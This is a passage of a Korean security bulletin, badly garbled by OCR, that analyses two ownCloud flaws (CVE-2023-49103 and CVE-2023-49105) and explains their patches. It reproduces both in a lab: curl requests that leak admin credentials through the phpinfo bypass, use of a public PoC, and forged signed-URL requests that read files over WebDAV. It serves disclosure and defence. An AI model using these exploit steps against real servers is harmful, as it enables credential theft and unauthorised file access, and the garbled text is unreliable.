Rabbit—Mario—Ransomware—Gangs—Spotted—Joint—Campaign

URL : https://thecyberexpress.com/werewolves—ransomware—group/

URL : https://www.scmp.com/tech/tech—trends/article/3246612/chatgpt—aided—ransomware—china-

results—four—arrests—ai—raises—cybersecurity—concerns

URL : https://www.bleepingcomputer.com/news/security/fake—f5—big—ip—zero—day—warning—emails—

push—data—wipers/
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Research & Technique

ownCloud HE L& 9 QIF 239 ZFAH™(CVE-2023-
49103/ CVE-2023-49105)

2023 ¥ 11 €, Y T5 2 ATE Y EZAA ATZEL Y ownCloud oA AR L&
FoFH(CVE-2023-49103)3 Q& & %‘% H(CVE-2023-49105)°] A=}, ownCloud = H|-&
glo] QL AHfof] o] 7hedt it TAY AH[AR EFHA(DropBox), & E2Fo|E(Google
Drive)¢} Z2 A48 Eur¢E AEFA]| HH]*—E— G 5 qlo] A 71FelA] de] AR E I
Ut 9] ofupE f AE[A(AWS)RE oA (Azure) & THE FEHE EFE] ownCloud @48
AHE TEIAY AEHRAE dAZFste] AMgote A, dd HAFHES o8 2 A mge]
fdo] lof ZhEg o7t " gsiet.

")

WA, AE L& FFH(CVE-2023-49103)2 FoFgt graphapi ' A&} nmlggh @%Ei Q15
71,

abgst Hopdolt}, ofel&el ZAAE phpinfo o AM|Aste] AAZE, AW ol A ]2
A 5 A £ U "Holgol HIg 4 drh diF Ferd2 CVSS 10.0 o= %7]'5101 uf}-¢-
=2 AREE 7HAAL U

1= 93] FHoFH(CVE-2023-49105)2 ownCloud core 9] -;H‘?l:?} ol mBEMA JFPOoR 9l
sk FoFdolth o] FHoRdEe oF8StH QFEA g FAATE AW W RE mpdo] ot
A~ S 5T 4 glow, o]F Fof HI A _dzﬂl A= Aol oA AHE
zroret & 9t} dg FHekd2 CVSS 9.8 2 Hrixlo] =2 s 7HA1 Ut

o]

2023 & 11 € 25 ¥of Proof of Concept(PoC)7t 570 ©]%, ownCloud & o= theke]
oIAE=RSN AwZE SIEY Qlrk. WEbA ownCloud AREARES WFEA] Fofxlo] digh B
HHlo|EE Agsti, FoRRt HAHS AR FolEhd o FoHde TAMSHL W8tk XA

8ok st

e)

wu o

10 graphapi : Microsoft Graph API 71519 ownCloud Server 3 Tz 73

1o AZ 2ol (Exploit) © HSl FofFd-& o83t

o

A

EQST insight | 30



CREATE ALERT EXPORT
146 results

T()p Countries MALICIOUS | HOSTING

United States

. . ORGANIZATION: Simply Transit Ltd AcTor: unknown  LAsST SEen: 2023-12-27

United Kingdom PREANIZA Py A¢ ASTS
counTrY: United Kingdom

China APACHE ACTIVEMQ RCE ATTEMPT PYTHON REQUESTS CLIENT TLS/55L CRAWLER

. WEB CRAWLER WORDPRESS BACKUP MIGRATION RCE ATTEMPT + 1 More

Germany

Netherlands

MALICIOUS | HOSTING
Classification

malicious 146 ORGANIZATION: DigitalOcean, LLC  AcToR: unknown LAST SEEN: 2023-12-27

ry: Germany

Z4: GreyNoise

3] 23 @ AHt7]5E MOVEit", GoAnywhere” & oY 3§ AZE{o] HoFHS g3t
W] TFS R FZo] WAL Q= T, Fekt W2l ownCloud stal 9k
A W 7Y Het HixE H-gofof gt

B YSdt= ATEQ 0 B
CVE-2023-49103 FoFdo]| 932 Hh= ownCloud o] HA-E tf&1 Zrt.
S/W & F ok v

graphapi 0.2.0 ~ 0.3.0 2| ownCloud Docker
(2023 'H 2 & O|= Docker O|O|X[)

ownCloud

X EAR DA Y2 HYOIZE O graphapi & HX

o
oY

S #|orgol Loy,
CVE-2023-49105 FoFdo] 932 Hh= ownCloud o] HA-L o} Zrt.

Ss/wW g ot B

ownCloud 10.6.0 ~ 10.13.0

12 MOVEit : Progress Software oA 7ggt 7]4-¢ ot Af AT EY 0]

3 GoAnywhere : Fortra oAl 7t ot g &2A4
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2A ALRlR

ownCloud #°F&8(CVE-2023-49103, CVE-2023-49105)-& ©o]&3t 4 Aot the 7t}

-

AR & FYH(CVE-2023-49103) &4 Avzle

© DO osiNT B8 083 Fors At EHM
| < ]
D | @ CVE-2023-49103 ¥ %4H 27 k
M| U XHET 8
—) )
= ()
9:'.:"3| AXE 239 % My Fet k P — _?.
L ' -
S5 GFE BASC DY YS =
= X} ) il ownC.Ioud
| O =7t 2242E Blaa T =] [ :
> o)

HZAE Cloud 2AEE|X|
a9 2. CVE-2023-49103 24 AL

@ S3Z4Xt7t shodandt Z2 OSINT™ &2 0|83t FADH ownCloud A{H| EFAH

[== R |

@ CVE-2023-49103 ¥ 4™ 0|838}0] AH Q| phpinfo ItY HZ & X

i)

2=
)

o))
ot
An

©
Jot

=3t XHAZHE 0|83 ownCloud AH 2301 81 Muf FHot

o

10 -

®
Ok
an 1Y
b

ro

t7b MH WY MEElof Qe HZE Of2 Z2tfE9 XHZE &5
X

©
Jot

43S 01ot0l ATE [}2 FARE 22a FY

14 OSINT(Open Source Intelligence): 2EA&AE o]-gste] £33 2o F7HE HH
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]

1% $-3] FoFd(CVE-2023-49105) &2 Azl

@|@ osiNT B2 o183 R My By
| 2+ ]
_Q‘)r @ CVE-2023-49105 #AH 22 :
50 mU/4ATE HE L 8S ==

n
|

oy 2
o 4»
El
e

@ £, MHOA 253

of
fo
o
hr
mjn
o
M
[
2
H
2
rot

ot
op
B
Jio
an
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m HAE 3F 18 B=

HAE 34L& &6te] CVE-2023-49103 3+ CVE-2023-49105 €] 52 14L& A&}
o|& Me
Ubuntu-22.04.1
| sjf xt
E7{ 0|0|X|: ownCloud/server 10.12.1
SAXt Ubuntu-22.04.1

X oY FAH HIAE Al AWS 7|Hto] 2EIREZ AZALO] 1AM YR} ZetE|o ULt TPYSC

depends_on:
mariadb
redis
environment:
OWNCLOUD _DOMAIN=Llocalhost:8888
OWNCLOUD _TRUSTED DOMAINS=localhost
OWNCLOUD_DB_TYPE=mysql
OWNCLOUD DB NAME=owncloud
OWNCLOUD_DB_USERNAME=ownc loud ownCloud €73 HH
OWNCLOUD_DB_PASSWORD=owncloud
OWNCLOUD_DB_HOST=mariadb
OWNCLOUD_ADMIN_USERMNAME=eqst
OWNCLOUD_ADMIN PASSWORD=jruru
OWNCLOUD_MYSQL_UTF8MB4=
OWNCLOUD_REDIS_ENABLED=
- OWNCLOUD_REDIS_HOST=redis
- APACHE_LOG_LEVEL=traceb
OWNCLOUD_MAIL SMTP PASSWORD=smtp_ password
OWNCLOUD MAIL SMTP NAME=smtp username
OWNCLOUD_LICENSE KEY=jruru
OWNCLOUD OBJECTSTORE_KEY=owncloudl1234
OWNCLOUD_OBJECTSTORE_SECRET=secret1234 AWS Cloud &3 HH
OWNCLOUD_OBJECTSTORE_REGION=us-east-1
OWNCLOUD_TRUSTED_DOMAINS=localhost,192.168.100.175,192.168.100.176,192.168.102.57
healthcheck:

13 4. ownCloud docker AR
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B o H2E

- ownCloud AX =& F 3 (CVE-2023-49103)

S

b

Step 1) WA= ownCloud F41 AtO|EClA] AFdHs docker Ax WHE 7ghoz Fof

HZA 9] ownCloud AHE 53Tt

- ownCloud docker AX]: https://doc.owncloud.com/server/next/admin_manual/installation/docker/

$ docker-compose up -d

-d &M: detach ZEE B2 EE docker & M3A|F|

LY

2 M
H =

rir

¥ 0|, OWNCLOUD_TRUSTED_DOMAINS O SZRte| FAE FItoior oict sig 43 2 H% 318 Ip 0|0, i ol

HHSHA 280 U B AF0M HZO| 2715t Y FFH 2480 =7t3tct

[+1 eqst@eqgst: ~fowncloud

S sudo docker-compose up -d

Starting owncloud mariadb ...

Starting owncloud_redis ooo

Starting owncloud server ...
3 s

=

19 5. ownCloud A¥ +&
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Step 2) TAAE ofdle] WHIE Fel WE AH F shbal B ARS A5F & Ack
- PoC FE: https://github.com/apiOcradle/CVE-2023-23397-POC-Powershell

- TE GA

$ curl -i 'http://[T| S X} A‘IH'I]/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo

php/[EEXH | grep [AME 2XIHE

- HO]2E (192.168.100.176:8080 ownCloud A{E{0flA{ ADMIN ZA)
$ curl -i 'http://192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/Ge
tPhpinfo.php/.css' | grep ADMIN

X - g Y HeE Zs B

attcker@attcker: ~ @ — m|

:S curl -i "http://192.168.100.176:80808/apps/graphapifvendor/mic
rosoft/microsoft-graph/testsfGetPhpInfo.php/.css' | grep ADMIN
% Total % Recelved % Xferd Average Speed Time Time Time Current
DIIGET IV IGET Total mpent Left Speed
0 : : 0 0 3] 0 B --1--:1-- - -~ f<t

r><td class =SERVER_ </td><td class="v' =wcbmaqtermlocalhoqt ftd, </tr=>
<tr=<td "e!'=0WNCLOUD _USERMAME </td=<td class="v">eqst «<ftd></tr=>
<tr=<td "e">0WNCLOUD_ _PASSWORD <j/td=<td class="v"=jruru </td=<ftr=>
<tr=<td "=APACHE_SERVER_ </Td><Td class="v"'>webmaster@localhost </t

_SERVER[ 'SERVER _ 'l</td=<td class="v"=webmaster@localhost

a9 6. 34 Holz= d3

folz=o dF 7t A HAEE ofFjel #ow, s SrES AAE Ao IE
S1) ALgELE AT e el Fopd A Bl slg 4 glrt
23| 7hs3 HERt
.Css Js .svg gif .png
html woff .ico Jjpg Jpeg
Json .properties .min.map Js.map .auto.map
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- ownCloud 1% 93] F9F-(CVE-2023-49105)

Step 1) -5AA= PoC 7F AH git wda EHARE F, a2t ownCloud A F49F ARGAL

ID & olgste dHolz=g 2Rttt HolzE= A9 Al FHT 7Fs¥ WebDAV H& F4AE
gl & ek
- PoC FE: hteps://github.com/ambionics/owncloud—exploits

$ git clone https://github.com/ambionics/owncloud-exploits

4 7= OAl= of2fet 2Lk

$ python3 pwncloud-webdav.py http://[3ZXt MH:ZE] [ID HE]

$ python3 pwncloud-webdav.py http://192.168.100.176:8080 egst

X O|H, OWNCLOUD_TRUSTED_DOMAINS Off SZRXte| FAE FItofor oot sy €78 U2 & A& Ip o0, 3 kol

=
A 2EEOf US FP AR0AM 20| 2716t i FAFH 480 2715t

LY

I~ attcker@attcker: ~/cve-2023-49105 Q =

- $ sudo python3 pwncloud-webdav.py http://19
2.168.100.176:8080 eqst

Proxy server running on localhost:8800

Browse user files:
dav://anonymous@localhost:8800/remote.php/dav/files/eqst

Browse everything: dav://anonymous@localhost:8800/remote.php/dav

19 7.PoCE &% 34 A&
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https://github.com/ambionics/owncloud-exploits

Step 2) EHeIgt FA4AE Eo WL 2F glo] WebDAV AH H&o| 7456b, A5 WebDAV
Al Hg AR B e )/ A 5 T B A Aot AFsste,
r |

{ |::_l anonymous ... alhost:8800 / Documents : Q = | v = = O X

© Recent New Folder Shift+Cerl+N

* Starred o EQST Lab. Example. Add to Bookmarks tri+

Ext odt
it Home Select All trl+A
[ Documents o Openin Terminal ]
Propert
¥ Downloads : \gi

=1 attcker@attcker: /run/user/1000/gvfs/dav:host=localhost,port=8800,ssl...

@ echo "EQSTLab" > "EQST_Lab. txt"

S cat EQST_Lab.txt
EQSTLab
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R R

- AR & F°Fd(CVE-2023-49103)
AR L= FHoFH(CVE-2023-49103)-2 docker W= A|&5H= ownCloud 9] default 2%
T2 Graph API(graphap)® Q18 A oh= FH ot graphapi &= phpinfo() 5 55l
Z9Fe PHP 4 AHE E¥ste 9 ZholEe|2]Ql “GetPhplnfo™& ARE-SHT

GetPhplnfo & graphapi & JEZQIERA QIFHZR] ok Ah&xrt QFoA A Hilo]
= AAsfoF st okt HeFsE el ownCloud & A A9, =z %

2o mlgste] QIFEZR] g2 FAAE &JFoA GetPhplnfo of 25 Hste] W %
=

E

?__% 3 j= E—
g5 4 Stk 53] Docker & ©]-83t ownCloud & 5 41, &4 ¥4E Fof d=A
2 Y AE, ZEREC 1AM AJEe Z2 v Hlolgrt xetd AHz FAAHER ZES

HA, FoFH =el& 9Is GetPhplnfo.php o A% HIT& Al=siEH, 302 -89 FE(Temporarily
Moved)E wt&sts 27121 o2}l index.php 2 A&l =2 | Mdsto] HLo] BE7Fsottt.

attcker@attcker: ~fcve-2023-49105 Q = - O

vendorfmlcrosoftfmlcrosoft graph/tests/GetPhpInfo.php’
HTTP/1.1 382 Found
Date: Tue, 02 Jan 2024 01:26:43 GMT I

S curl -i 'http://192.168.100.176: aﬂaﬂjapps;graphaplf‘

Server: Apache

39 9. GetPhplnfo.php A AT Al
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ownCloud 2] .htaccess T A =gt
ﬂ1%<%ﬂﬂiﬁlmﬁJWMW”E%%
%, index.php o] = A stes Ao Ut

oAz Ael7t F@E|e] 917 wEelet. hraccess

ol =03 dAsHA @2 He 842 302 §HE=

—

rookt@9671d5c04124: /varfwwwj/owncloud

ErrorDocument 403 fcore/templates/403.php
ErrorDocument 404 fcorc}tcmplatcsf404 php
<IfModule mod_rewrite.c> @& 42|
Options -Multiviews
Afavicon.1ico$ corefimg/favicon.ico [L]
Acorefjs/oc.js$ index.php [PT,E=PATH_INFO:51]
Acore/preview.png$ index.php [PT,E=PATH INF0:51]

RewriteRule
RewriteRule
RewriteRule
RewriteCond
RewriteCond
RewriteCond
RewriteCond
RewriteCond
RewriteCond
RewriteCond
RewriteCond
RewriteCond
RewriteCond
RewriteCond
RewriteCond
RewriteCond
RewriteCond
RewriteCond

RewriteRule .

Rewritebase

%{REQUEST_URI}
%{REQUEST_URI}

%{REQUEST URI}

%{REQUEST_URI}
%{REQUEST_URI}

%{REQUEST URI}

%{REQUEST_URI}
%{REQUEST_URI}

{REQUEST_URI}

%{REQUEST_URI}
%{REQUEST_URI}

{REQUEST_URI}

%{REQUEST_URI}
%{REQUEST_URI}
%{REQUEST URI}
index.php [PT,E=PATH_INF0:51] E| |:|E_1Hi| _?_] :.t[

/

15 mod_rewrite :

\.(css|js|svg|gif|png|html|ttf|woff|ico|jpg|]jpea|json|properties)s
\.{min|js|aute)\.map$

I~/core/img/favicon\.1ico%

I~/robots).txt$

I~ /remote) . php

1~ /public).php

I~ fcron\.php

I~ fcorefajaxfupdate\.php

I~ /status\.php$s

I~ focsfvl\.php

I~ Jocsfv2)\ .php

I~ /updater/

I~ focs-provider/

I~ focm-provider/

1~ /\ .well-known/({acme-challenge|pki-validation)/.*

13 10. .htaccess TY W2 mod_rewrite BE

A8 Request & 37 Rule o] I3 tt2 URL E= File 2 A 5= &
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ofgfioll AelH A= mod rewrite o 2ol siFE ] b= FHAE htacess B Fe AN A
Aol 3] g WHo Aga)
23| Jts3t =EA dY
CSS(Cascading Style Sheets)= HTML 82471 3tHO| HA|Z|E HAZ Folsh nby
css
&Alo|ct
js ¢ Ho|X|o M A&t st JSUavaScript)y RESE EdStE IHY HWAO|CH,
SVG(Scalar Vector Graphics)& O|0|X] 2¥Z A7 gt XML 7|8t 8HAE m
.SV
9 g4jo|ct.
. GIF(Graphics Interchange Format)= X2 O[0|X| £ ZYS CHY mMYE ZAgst
9 ojLipjold S == Fe HiCle Y HAlo|C
PNG(Portable Network Graphi= &4 OIO|H =2 X|st0 oM =S
P9 EHsHE 0[0|x] Y HAJo|ct
bl HTML(Hypertext Markup Language)2 & HO|X|2} 1 W8S FXR5H7| sk AL&St=
o 0+ #Ajolc
.woff woff ¢l T2 WOFF(Web Open Font Format)& 7|gtC 2 st= & 25 ot FA0|Ct
iico S8 Z2IUES LIEH = OI0|22 2 AEE|= O|0[X| mte FAlo|Ct,
:Jpg JPEG(Joint Photographic Experts Group)2| 2AtZ, C|X|E O|O|X|E ot m &F40|Ct
Jpeg
. JSON(JavaScript Object Notation)2 AMEHO| &4 #= U= HAEE AESIY HO|HE
on HEBL Hashe HolH 295 Yo BE 0t WAo|ct
) properties = 88& ZEIMO| 14 Jtsot MEt0[HES MESH7| fIsi AtHr 23 7|2
.properties m2 ARSI T HAO|C
.min.ma
. P Application 2E Al MHE|= map DIHYS LE & HAOAOl HzZ2lof 2ZE Z|AS M,
Jjs.ma
>-mab Mo, 47t XY Address S 7|28 £2 T HAlo|ct
.auto.map
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weba] s SHFAES ZFSe] GetPhplnfophp S AH AT QA4sH AAA Ao FAS

ex) /apps/graphapi/vendor/microsoft/microsoft/graph/tests/GetPhplnfo.php/.css
ex) /apps/graphapi/vendor/microsoft/microsoft/graph/tests/GetPhplnfo.php/.png

$ cat result.txt

//192.168. . :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .html
://192.168.100. :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .Jjs
:f/192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests, GetPhpInfo. N of
:f/192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests, GetPhpInfo. .woff
//192.168. . :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .5vg
//192.168. . :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .png
//192.168. . :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .ico
//192.168. . :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .min.map
[/192.168. 5 :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. JEtF
:f/192.168.100. :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .Jpg
:f/192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests, GetPhpInfo. .properties
://192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests /GetPhpInfo. .gif
:f/192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests, GetPhpInfo. .json
:f/192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests, GetPhpInfo. .auto.map
//192.168. . :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests,/GetPhpInfo. .js.map

[/192.168. 5 :8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests, GetPhpInfo. jpeg

a9 1L SRAE Fe AL Aol 77 $3)
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- 9% 3 FFH(CVE-2023-49105)

VE-2023-49105 3242 ownCloud core 9] u]&3st AZ 2207 ol5)] HAsl= kAol
A= wefiake] ID AEEE 91 gleje, B2 A URL & F3) WebDAV API 9] 135S
glsto] oAt Aol HE npdof Higt AAA drte fE5T 1o},

1% =22 SignedUrl o] Verifier.php o &AstH, 3

d& ASshedl ARSI,

O

]

-

ofl > ﬂllO
b
o

P>
I

or =

A9¥=E URL ¢

rr

Jo A Ho ofd
l:ol[ 19 joT o
ol

public function signedRequestIsValid(): beool {
$params = $this->getQueryParameters();
if (lisset($params['0C-Signature’], $params[ 'OC-Credential’'], $params['0C-Date'], $params['OC-Expires’],
$params["0C-Verb'])) {
%g = \json_encode(%params);
\OC: :$server->getLogger()->debug("Query parameters are missing: $q", ['app’ => 'signed-url']);
return false;

1

$urlSignature = $params[’'0C-Signature’];

furlCredential = $params[ 0C-Credential’];

$urlDate = $params['0C-Date']; = = o
$urlExpires = $params['0C-Expires’]; kllg '—I URL =5 |—Ix|-
$urlverb = ‘\strtoupper($params[‘'0C-Verb']);

$algo = $params[ '0C-Algo’'] ?? 'PBKDF2/18888-SHAS12';

unset($params[ '0C-Signature’'], $params['0C-Algo']);

a9 12. A%¥E URL A5 &

Asel AgEe dAEel ot A9 oh&d Zrh olm, OC-Signature g ALt A=
dolo] groz HA 7hsoh, OC-Signature 7} 8 AS AAR AME-HT

oI} My | 0 Al
OC-Signature Ar&Atel MB 2t 64 Z0|2| Hash At
OC-Credential AL ROl O|E admin, user S
OC-Date MY Dtg 9x 2023-12-20
OC-expires MY 27|17t (71 &b 1200
OC-Verb HTTP Method 24! GET, POST
OC-Algo AHE ZaE|E PBKDF2 7|t sha512 HH= 314 10000

OC-Signature & F5oh= verifySignature 222 AHEW computeHash &F& 5o AS5S

Fyot, AHgAF] signingKey & 719Fe.2 AAJ3E Hash #t7 OC-Signature & H| W5t AMEALE
Agste Ade & 5 Sk
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private functionlverifysignature{aﬂray $params, %urlCredential, %algo, $urlSignature):|bool {

$trustedlist = $this->config->getSystemValue( trusted_domains', []);
$signingKey = $this->config->getUserValue($urlCredential, ‘core’, 'signing-key');
$qp = ‘\preg_replace( ' /%5B\d+%5D/", "%S5BXSD', ‘http_build query($params));

foreach ($trustedList as $trustedDomain) {
foreach (['https', 'http'] as $scheme) {
$url = ‘\Sabre‘\Uri\parse($this->getAbsoluteUrl());
furl['scheme’'] = $scheme;
$url["host'] = $trustedDomain;
furl["query’] = $qp;
furl = ‘\Sabre\Urii\build($url);

$hash = $this->computeHash($algo, $url, $signingKey);
if ($hash === $urlsignature) {
return true;

}

\OC: :$server->getLogger()->debug("Hashes do not match: $hash !== $urlSignature (used key:

$signingKey url: $url™, ["app’' => "signed-url']);
}

return false;

o2
X
gh
o)
o
4
é&
O
®
8
e}
o)
o
L
@
=
it
~r
i
it
_\:.‘UL
HT

19 13. verysignature &<

W AFEZES] signingKey & X
NEES 7o g SHAS512 Hash & ARERE 64 HIE Aol MY gha AB/ddch=

o

2tste], PBKDEF2

o S
As & &

protected function|computeHash(string $algo, string $url, $signingKey)|{
if (\preg match{'/~{.™)\/(.*)-(.*)%/", $algo, Soutput)) {

if ($output[1] !'== "PBKDF2') {
return false;

F

if ($output[3] !== "SHA512") {
return false;

}

$iterations = (int)%output[2];
if ($iterations <= 8) {
return false;

}

return ‘hash_pbkdf2("sha512", $url, $signingKey, $iterations, 64, false);

¥

return false;

9 14. computeHash g4
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F kst #H 9] ownCloud core = AFHEAHS] signingKey Default #-2 Hl R =2 A% otal JA|gt,
QA signingKey 39l W BAD RE SIS AF 20| wekslo] ot Gebd, BARE
ML O] signingKey & 48 29 glo] PBKDF2-sha512 ¢112]& 7|9t Hash & ¥o=
B0 AYE RL o H2E S god, 95 A4 Asih FAAE olF o8
WebDAV of el wafjat 4o mpdo] dAMA AlojE g5 4 Urh

N

ol AHE JMer 1F %9 FfHe S PoC HZAEAM At EQST_Lab.txt
Aok W2 offiet 2ok 4 492 A¥E URL & 457 18] WebDAV URL &
ZIgre 2 g OC-Signature A% Hash -2 A3t}

- WebDAV ZH=Z
[mlsixt  MH]/remote.php/dav/files/[AEXF  ID]/[THY ”E]?OC—Credential=[*I‘%XI' ID]&OC-

Date=[E®&OC-Expires=[TtE2 YXH&OC-Verb=[HTTP M
WebDAV

4=

- X oAl
192.168.100.176:8080/remote.php/dav/files/eqst/Documents/EQST_Lab.txt?OC-Credential=eqst&0OC-
Date=2024-12-20&0C-Expires=1200&0C-Verb=GET

- Hash A4 (&AL AFo]E: https://onlinephp.io/hash—pbkdf2)

Hash Pbkdf2 Online Tool Manual Code Examples

Salgo =
shas12 |HOE|F

= cd
Spassword = _I'__xl- =
[ http://192.168.100.176:8080/remote._php/davifiles/eqstiDocuments/EQST_Lab txt?0C-Credential=eqst&0C-L I

Ssalt =

Siterations =

PHP Version:| 8.2.13 v

Result:

| fed39dfd4203d1 7F 22050007100 dadc7193c557ed25 Fechadiaell0bed7504f | OC-Si gn ature 2t

19 15. Hash RBA
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Wl AYE URL 9 ola] & RE F7bstel agsid o] 328 4 988
o1t

ro I
ok L

Jok of
Ol
$ 2

- oty HZ (GET HIAE)

$ curl 'http://192.168.100.176:8080/remote.php/dav/files/eqst/Documents/EQST_Lab.txt?OC-
Credential=eqst&0OC-Date=2024-12-20&0C-Expires=1200&0C-Verb=GET&OC-
Signature=fed39dfd4203d17f220599b7f99fda4c7193c557ed257ec83d6ae009bed7594f'

- oY M (PROPFIND H|£AE)

$ curl -X PROPFIND "http://192.168.100.176:8080/remote.php/dav/files/eqst/Documents?OC-
Credential=eqst&0C-Date=2024-12-20&0C-Expires=1200&0C-Verb=PROPFIND&OC-
Signature=c566237b5b34e3490099a435c725f1c4a8f8f5c8e1cb7b3b9631fa06f36220ee"

attcker@attcker: ~ Q) — O

:% curl '"http://192.168.100.176:8080/remote.php/dav/filesfeqst/Doc
uments fEQST_Lab.txt?0C-Credential=eqst&0C-Date=2024-12-2080C-Expires=1200&0C-Verb=

GET&0C-Signature=fed39dfd4203d17f220599b7f99fdadc7193c557ed257ec83d6ae009bed7594F"
EQSTLab
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m oS o

O -

1) AHE & FoFH(CVE-2023-49103)

Hoker W19 ownCloud ol A, A% AR 23 9 07 4R FEWE oplst Zeu
WA 5 ok W ol

2EY, SHE A4 FH o8 T AAAER] AAH S
WA5k7] 918 GetPhplnfo.php T A4 @ phpinfo 7152 HEAJ3 six]7F 3P graphapi
0.3.1 ol HHoz AHo|EE FIdsfof gt

e

Disclosure of sensitive
credentials and configuration in
containerized deployments Action taken

Nov 21,2023 Delete the file

owncloud/apps/graphapi/vendor/microsoft/microsoft-

graph/tests/GetPhpinfo.php. Additionally, we disabled the phpinfo

® Risk: critical function
* CVSS5v3 Base Score: 10 in our docker-containers. We will apply various hardenings in
& CVSSv3 Vector: AV:IN/ACL/PR:N/ULN/S:C/C:H/I:H/A:H future core releases to mitigate similar vulnerabilities.

¢ CWEID: CWE-200
* CWE Mame: Exposure of Sensitive Information to an

Unauthorized Actor

%7 ownCloud 4] Z#o]A]

a9 17. AR =& FoFd iz Uy

ok
4
il

=7HsHA WA AEelEZE ofFE A% WAWET LS sl GetPhplnfo.php
TEo® HZAS) sIAY AAE A 4 Qe
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2)

Foket B9 ownCloud & AF&sh=
majatrt AR ool HAA, £=F

TAdokA] 2 A%, vy AEE URL
ol HH o= AHolEE ZIPsfoF gt

private function verifySignature(array $params, $urlCredential, $algo, $urlSignature): bool {
$trustedList = $this-»config->getSystemvalue( ' trusted_domains®, []);
$signingKey = $this->config->getUserValue($urlCredential, ‘core’, ‘signing-key');

© AEE URL 2 E38] WebDAV API & 235|619
2 A7V 7Hs 5t E}EW g AfAE MY 7E
B35l Aol B7=ste = 1% st ownCloud 10.13.1

tlo W2 o

if ($signingKey === "") {
OC::$server->getLogger()->error("No signing key available for the user $urlCredential. Access via

pre-signed URL denied.™, ['app’' =»> "signed-url']};
ZF ==
return false; IEI_I )"-l% HA :glo EJ&I

}
$qp = \preg_replace(’ /¥5B\d+%5D/', "%S5BZSD", ‘http_build_query($params));

foreach ($trustedList as $trustedDomain) {
foreach (['https', "http'] as $scheme) {
$url = \sabre\Uri\parse($this->getAbsoluteUrl());
$url['scheme’] = $scheme;
$url[ "host"'] = $trustedDomain;
furl['query’] = $qp;
$url = \Sabre\Uri\build(%url);

a9 18. 95 3] FeFd H#HA WY

s WA GdelEst olele A% AgA: +FoE AY S AYGE Aom Y
Hopde g 4 glch

T A 2F 370E ownCloud AME ez oFefz]l ARgAE HZste] ofgo] 7he

Fobdoltt. watd, & FoPd®at ofyat oz A Jhsdt FopdonRe AAHos ted

4 Q& OWNCLOUD_TRUSTED_DOMAINS A4& 5ol < 518 IP 558 s) b
sto] ARgste Ze daudith o2dt 2XE Agdod HdE

o= T
3 Hae aE 5 98 Aol

N
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H Z10 AIO|E

« URL : https://www.labs.greynoise.io//grimoire/2023-12-05-owncloud—again—again/
« URL : https://www.ambionics.io/blog/owncloud—-cve—2023-49103-cve—2023-49105

+ URL : github.com/rapid7/metasploit—framework/blob/master/documentation/modules/auxiliary/gather

/owncloud_phpinfo_reader.md
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